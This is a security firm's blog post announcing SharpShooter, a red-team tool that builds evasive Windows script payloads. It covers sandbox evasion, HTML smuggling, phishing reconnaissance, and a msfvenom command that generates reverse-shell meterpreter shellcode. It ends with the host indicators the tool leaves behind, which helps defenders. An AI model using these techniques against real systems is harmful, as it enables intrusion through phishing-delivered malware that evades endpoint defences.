Payload Generation using SharpShooter

Getting a foothold is often one of the most complex and time-consuming aspects of an adversary simulation. We typically find much of our effort is spent creating and testing payloads against various OS versions/architectures and against the most commonly used EDR (Endpoint Detection and Response), anti-virus and sandboxing solutions. Many of these solutions have become more focused and aware of PowerShell, as such we’ve naturally moved away from PowerShell to research other techniques for getting into memory and evading endpoint defences. This led to the development of an in-house payload generation framework we named SharpShooter. After using this framework with great success across a number of engagements, we have opted to release the tool.

In July 2017, we talked about using James Forshaw’s DotNetToJScript to execute shellcode in Windows scripting formats and released the CACTUSTORCH tool. This tool was proof-of-concept and could be relatively quickly signatured; we would not recommend using it as is in a live simulation. The concept however is relatively powerful and provided the seed to some of our current tooling, one of which we’re releasing today.

SharpShooter is a weaponised payload generation framework with anti-sandbox analysis, staged and stageless payload execution and support for evading ingress monitoring. SharpShooter provides a framework to create payloads in the following Windows formats:

  • HTA
  • JS
  • JSE
  • VBA
  • VBE
  • VBS
  • WSF

The created payloads can be used to retrieve, compile and execute arbitrary C Sharp source code. SharpShooter payloads are RC4 encrypted with a random key to provide some modest anti-virus evasion, and the project includes the capability to integrate sandbox detection and environment keying to assist in evading detection. SharpShooter targets v2, v3 and v4 of the .NET framework which will be found on most end-user Windows workstations.

Aside from traditional anti-virus, SharpShooter has had success in bypassing “advanced endpoint protections” such as Palo Alto Traps and Bromium Isolation Analysis (where policy permits execution).

A video of SharpShooter circumventing Palo Alto Traps to launch a meterpreter shell is shown below:

A description of the various features of the tool are provided in subsequent sections.

Staging and Stageless Execution

SharpShooter supports both staged and stageless payload execution. Staged execution can occur over either HTTP(S), DNS or both. When a staged payload is executed, it will attempt to retrieve a C Sharp source code file that has been zipped and then base64 encoded using the chosen delivery technique. The C Sharp source code will be downloaded and compiled on the host using the .NET CodeDom compiler. Reflection is then subsequently used to execute the desired method from the source code. A summary of how SharpShooter operates during staging is shown in the diagram below:

The key benefit of staging is that it provides the ability to change the executed payload in the event of failure or take down the payload following success to hide your implant which may hinder an investigation from the blue team.

DNS delivery is achieved in conjunction with the PowerDNS tool that we described in our previous blogpost. When web delivery is selected, a web request will be performed to the URI provided through the –web command line argument.

The CodeDom provider is a powerful means of achieving extensibility and we’ve been using it for offensive purposes, such as anti-virus evasion, for a number of years. A tweet from @buffaloverflow noted that it has also recently been adopted by malicious actors in the wild:


One of the benefits of using CodeDom is that it offers flexibility in payload creation; you’re not just limited to shellcode execution but you have the ability to execute arbitrary C Sharp. Therefore, if you want to create a VBS file that executes Mimikatz or performs process doppelgänging, you can.

SharpShooter provides a built-in template for executing arbitrary shellcode for both staged and stageless payloads.

Sandbox Detection

SharpShooter provides some rudimentary methods to detect whether the payload is being executed inside a sandbox. These techniques, with the exception of the domain keying technique, are borrowed from Brandon Arvanaghi’s CheckPlease project.

The payload will not execute if the conditions of the selected sandbox detection techniques are met. The following techniques are available:

  • Key to Domain: the payload will only execute on a specific domain;
  • Ensure Domain Joined: the payload will only execute if the workstation is domain joined;
  • Check for Sandbox Artifacts: the payload will search the file system for artifacts of known sandbox technologies and virtualisation systems, if found the payload will not execute;
  • Check for Bad MACs: the payload will check the MAC address of the system, if the vendor matches known virtualisation software it will not execute;
  • Check for Debugging: if the payload is being debugged, it will not execute.

These techniques can be used in conjunction with each other to assist in avoiding detection.

To create a payload with one of these techniques, use the –sandbox argument followed by a comma separated list of techniques to apply. For example –sandbox 1=CONTOSO,2,3.

Ingress Monitoring Evasion

A common tactic used by defenders is to prevent potentially malicious files from entering the environment at the perimeter. This is often implemented using extension, content type or content filtering on the perimeter proxy/gateway. A powerful solution to evading this inspection was documented by Rich Warren and involves encrypting your payload then embedding it inside a HTML file. The payload is decrypted on the client-side using JavaScript. Consequently, the perimeter inspection will only every see a HTML file with the text/html content-type.

SharpShooter optionally uses this technique to embed its payloads and provides 2 sample templates for use. SharpShooter’s implementation is almost directly borrowed from @Arno0x0x’s EmbedInHTML tool.

To create a payload that uses HTML smuggling, use the –smuggle argument with the –template argument to select a template, e.g. –smuggle –template mcafee.

SharpShooter by Example

When our ActiveBreach team performs an adversary simulation, we invest heavily in reconnaissance. The reason for this is that understanding the target’s environment will pay dividends, particularly when it comes to payload creation. In order to increase your chances of success with SharpShooter when executing shellcode, two key pieces of information are essential; the target architecture and the target .NET version. Fortunately, it is often relatively trivial to find this information.

When executing the targeting phase of a simulation, we would often look to disclose as much version information about the client-side software as possible so it can be replicated in our lab. One of our tactics for achieving this is through benign phishing; that is our phishing e-mails typically don’t contain any specific payload but are engineered to trigger call backs to our infrastructure. One such method is through externally hosted images, for example including the following in a HTML phishing e-mail will trigger a connection to download the image from the user’s mail client assuming they select the option to download remote images:

[code]<img src=“” />[/code]

In the case of Outlook, this may cause a User-Agent similar to the following to be sent to the server:

[code]Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Microsoft Outlook 16.0.6366; ms-office; MSOffice 16)[/code]

There are several key pieces of information disclosed here, the most relevant for SharpShooter payloads is that the target is using a 64-bit operating system with a 32-bit Microsoft Office installation, as indicated by the WOW64 string, and the version of the .NET CLR installed.

Similarly, we may also try to social engineer users in to opening a site under our control and obtain the same information from the user’s browser, as shown in the example below from a Widows 8.1 x64 host:

[code]Mozilla/5.0 (Windows NT 6.3; Win64, x64; Touch) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36 Edge/12.0 (Touch; Trident/7.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; HPNTDFJS; H9P; InfoPath[/code]

This information is particularly relevant to us if we want to create a payload that executes arbitrary shellcode. With the exception of HTA files due to mshta.exe being a 32-bit binary, we should always use a 64-bit shellcode when 64-bit Windows is in use.

Where possible, our operators will also attempt to elicit as much information about the internal Active Directory as can be feasibly obtained without breaching. Amongst others, common tactics include reviewing the disclosure of FQDNs from sources such as mail headers of perimeter services.

For example, mail headers may disclose something similar to the following:

[code]Received: from (unknown [])
by smtp.localdomain (Service) with ESMTP id 43BD1114402;
Tue, 27 Feb 2018 13:38:33 +0000 (GMT)[/code]

Which would imply the internal domain is CONTOSO.

Similarly, if we observe the target to have a perimeter Skype for Business server, we can find the domain name from the X-MS-Server-Fqdn header, as shown below:


Armed with this knowledge, we can begin to craft a SharpShooter payload that is keyed to our target environment; i.e. nothing malicious will happen unless the payload is executed on a CONTOSO joined member system.

If we wanted to create a JavaScript payload, that would attempt to retrieve the C Sharp payload through both DNS and Web delivery, we might use something like the following command line options:

[code] –payload js –delivery both –output foo –web –dns –shellcode –scfile ./csharpsc.txt –sandbox 1=contoso –smuggle –template mcafee –dotnetver 2[/code]

This configuration will key our payload to the CONTOSO domain using the –sandbox 1=contoso argument. The target environment supports .NET version >=3.5 therefore we can give our payload a better chance of success by specifying the correct .NET version using the –dotnetver 2 argument.

In the above example, shellcode is read from the “csharpsc.txt” file. If we wanted to execute shellcode compliant with Cobalt Strike’s beacon or Metasploit, you could generate this by selecting “Packages > Payload Generator > Output C#” in Cobalt Strike, or using the following msfvnom command:

[code]msfvenom -a x64 -p windows/x64/meterpreter/reverse_http LHOST=x.x.x.x LPORT=80 EnableStageEncoding=True PrependMigrate=True -f csharp[/code]

The shellcode file should only contain the raw bytes, not the variable definition. For example byte[] buf = new byte[999] { 0x01, 0x02, 0x03 … would mean the shellcode file would contain just 0x01, 0x02, 0x03.

The outcome of the aforementioned command would look as follows:

SharpShooter will have created 3 separate files in the output directory, foo.html, foo.js and foo.payload. A brief explanation of what each of these files is, is provided below:

foo.js is the JavaScript payload that the user will eventually execute. It contains a base64 encoded, rc4 encrypted blob which is decrypted in-memory, on execution. The decrypted payload is the DotNetToJScript code that contains the SharpShooter .NET serialised object. If you are using HTML smuggling, this file does not need to be sent to the user, it’s provided purely for information and debugging purposes.

foo.html is the HTML file that we will ultimately coerce the user in to opening by whatever means. This file contains the encrypted copy of foo.js which is decrypted using JavaScript then served to the user using the navigator.mssaveBlob technique.

foo.payload is the C Sharp source code that will be retrieved, compiled and executed on the target host. In this case, the file contains a harness that will execute the supplied shellcode. The source code file is zipped then base64 encoded. The file should be hosted at the URI and on the domain with PowerDNS running, as per the supplied command line arguments.

The foo.html file is ultimately what we would send to the end user either via an email attachment, or by coercing them in to opening a phishing link. When opened, the user would see something similar to the following due to the McAfee template being selected:

If the user does click to open the JavaScript file, the shellcode should be executed and the implant returned.

A video of an end-to-end payload execution to retrieve a Cobalt Strike beacon is shown below:


Part of being a good red teamer is understanding your tools and their indicators. This not only helps you provide better advice to the blue team and your clients but will also help you build better tools.

When developing SharpShooter we were keen to understand what indicators were created on the host. The one that surprised us most was how the .NET CodeDom provider worked. Having used this technique successfully in the past, we were working on the premise that the source code was compiled in memory. This assumption was also a key influence on our design choice for the tool as generally we prefer to remain memory resident during adversary simulations.

When creating a new CodeDom provider, it is necessary to supply the compiler parameters; one of which is the Boolean CompilerParameters.GenerateInMemory property, which of course is set to true in SharpShooter. This is however somewhat misleading as we discovered while monitoring the process execution and we quickly came to realise that we had misunderstood the effect of this property. The reality is that when WScript.exe or the equivalent scripting engine is executed, it in turn executes the csc.exe compiler that’s bundled with the .NET framework:

This consequently means that the C Sharp source code is saved to disk in the user’s Temp folder. The compiler is then executed on the command line, reading the arguments from a file also saved to disk:

As a result, it is vital to ensure that source code remains safe from anti-virus signatures; this of course is relatively trivial to achieve.

The stageless shellcode execution does not however leave these indicators as it does not use the CodeDom provider; the serialised .NET object directly executes the shellcode itself.

Another indicator that you should be aware of is when using staged DNS payloads. As .NET <= v4 does not contain a native DNS library for performing TXT record lookups, to maintain compatibility across versions the records are retrieved by iteratively executing nslookup.exe to read the C Sharp source code:

A potentially telling indicator therefore would be a series of nslookup.exe calls captured through command line logging.

You can download SharpShooter from the MDSec ActiveBreach github page.

This blog post was written by Dominic Chell.



written by

MDSec Research

Ready to engage
with MDSec?

Copyright 2021 MDSec